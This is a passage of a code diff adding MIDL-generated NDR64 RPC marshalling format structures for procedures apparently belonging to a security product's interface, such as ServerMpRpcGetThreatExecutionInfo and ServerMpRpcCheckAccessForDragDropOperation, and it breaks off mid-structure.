+ (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2164, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag1641_t __midl_frag1641 = +{ +/* Struct_3640_t */ + { + /* Struct_3640_t */ + 0x30, /* FC64_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_3640_t */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 24 /* 0x18 */ + } +}; + +static const __midl_frag1640_t __midl_frag1640 = +{ +/* *Struct_3640_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1641 +}; + +static const __midl_frag1639_t __midl_frag1639 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } +}; + +static const __midl_frag1638_t __midl_frag1638 = +{ +/* union_3624 */ + { + /* union_3624 */ + 0x51, /* FC64_NON_ENCAPSULATED_UNION */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT8) 0 /* 0x0 */, + 0x5, /* FC64_INT32 */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1639, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM_SELECTOR */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 1 /* 0x1 */, + &__midl_frag1640, + (NDR64_UINT32) 0 /* 0x0 */ + }, + (NDR64_UINT32) 4294967295 /* 0xffffffff */ +}; + +static const __midl_frag1637_t __midl_frag1637 = +{ +/* Struct_3654_t */ + { + /* Struct_3654_t */ + 0x34, /* FC64_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_3654_t */ + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */, + 0, + 0, + 0, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1638 + }, + { + /* Struct_3654_t */ + 0x92, /* FC64_BUFFER_ALIGN */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag1636_t __midl_frag1636 = +{ +/* *Struct_3654_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1637 +}; + +static const __midl_frag1635_t __midl_frag1635 = +{ +/* **Struct_3654_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1636 +}; + +static const __midl_frag1632_t __midl_frag1632 = +{ +/* Proc168_ServerMpRpcGetThreatExecutionInfo */ + { + /* Proc168_ServerMpRpcGetThreatExecutionInfo */ /* procedure Proc168_ServerMpRpcGetThreatExecutionInfo */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 24 /* 0x18 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2164, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag1635, + { + /* arg_3 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag1621_t __midl_frag1621 = +{ +/* Proc167_ServerMpRpcSendBrowserHeartbeat */ + { + /* Proc167_ServerMpRpcSendBrowserHeartbeat */ /* procedure Proc167_ServerMpRpcSendBrowserHeartbeat */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 64 /* 0x40 */ , /* Stack size */ + (NDR64_UINT32) 32 /* 0x20 */, + (NDR64_UINT32) 80 /* 0x50 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 7 /* 0x7 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2364, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2164, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2368, + { + /* arg_4 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2164, + { + /* arg_5 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* arg_6 */ /* parameter arg_6 */ + &__midl_frag2367, + { + /* arg_6 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 56 /* 0x38 */, /* Stack offset */ + } +}; + +static const __midl_frag1610_t __midl_frag1610 = +{ +/* Proc166_ServerMpRpcUpdateBrowserActiveTab */ + { + /* Proc166_ServerMpRpcUpdateBrowserActiveTab */ /* procedure Proc166_ServerMpRpcUpdateBrowserActiveTab */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 64 /* 0x40 */ , /* Stack size */ + (NDR64_UINT32) 24 /* 0x18 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 7 /* 0x7 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2364, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2364, + { + /* arg_4 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2368, + { + /* arg_5 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* arg_6 */ /* parameter arg_6 */ + &__midl_frag2367, + { + /* arg_6 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 56 /* 0x38 */, /* Stack offset */ + } +}; + +static const __midl_frag1603_t __midl_frag1603 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 48 /* 0x30 */ /* Offset */ + } +}; + +static const __midl_frag1602_t __midl_frag1602 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag1603 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag1601_t __midl_frag1601 = +{ +/* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1602 +}; + +static const __midl_frag1594_t __midl_frag1594 = +{ +/* Proc165_ServerMpRpcCheckAccessForDragDropOperation */ + { + /* Proc165_ServerMpRpcCheckAccessForDragDropOperation */ /* procedure Proc165_ServerMpRpcCheckAccessForDragDropOperation */ + (NDR64_UINT32) 19660864 /* 0x12c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */ + (NDR64_UINT32) 88 /* 0x58 */ , /* Stack size */ + (NDR64_UINT32) 64 /* 0x40 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 10 /* 0xa */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2164, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2368, + { + /* arg_4 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2164, + { + /* arg_5 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* arg_6 */ /* parameter arg_6 */ + &__midl_frag2368, + { + /* arg_6 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + }, + { + /* arg_7 */ /* parameter arg_7 */ + &__midl_frag1601, + { + /* arg_7 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 56 /* 0x38 */, /* Stack offset */ + }, + { + /* arg_8 */ /* parameter arg_8 */ + &__midl_frag2368, + { + /* arg_8 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 64 /* 0x40 */, /* Stack offset */ + }, + { + /* arg_9 */ /* parameter arg_9 */ + &__midl_frag2367, + { + /* arg_9 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 72 /* 0x48 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 80 /* 0x50 */, /* Stack offset */ + } +}; + +static const __midl_frag1583_t __midl_frag1583 = +{ +/* Proc164_ServerMpRpcQueryConfigProtection */ + { + /* Proc164_ServerMpRpcQueryConfigProtection */ /* procedure Proc164_ServerMpRpcQueryConfigProtection */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 56 /* 0x38 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 6 /* 0x6 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2364, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2364, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2368, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2367, + { + /* arg_5 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + } +}; + +static const __midl_frag1570_t __midl_frag1570 = +{ +/* Proc163_ServerDlpMpRpcCheckAccessForClipboardOperationEx */ + { + /* Proc163_ServerDlpMpRpcCheckAccessForClipboardOperationEx */ /* procedure Proc163_ServerDlpMpRpcCheckAccessForClipboardOperationEx */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 72 /* 0x48 */ , /* Stack size */ + (NDR64_UINT32) 32 /* 0x20 */, + (NDR64_UINT32) 136 /* 0x88 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 8 /* 0x8 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2164, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2368, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 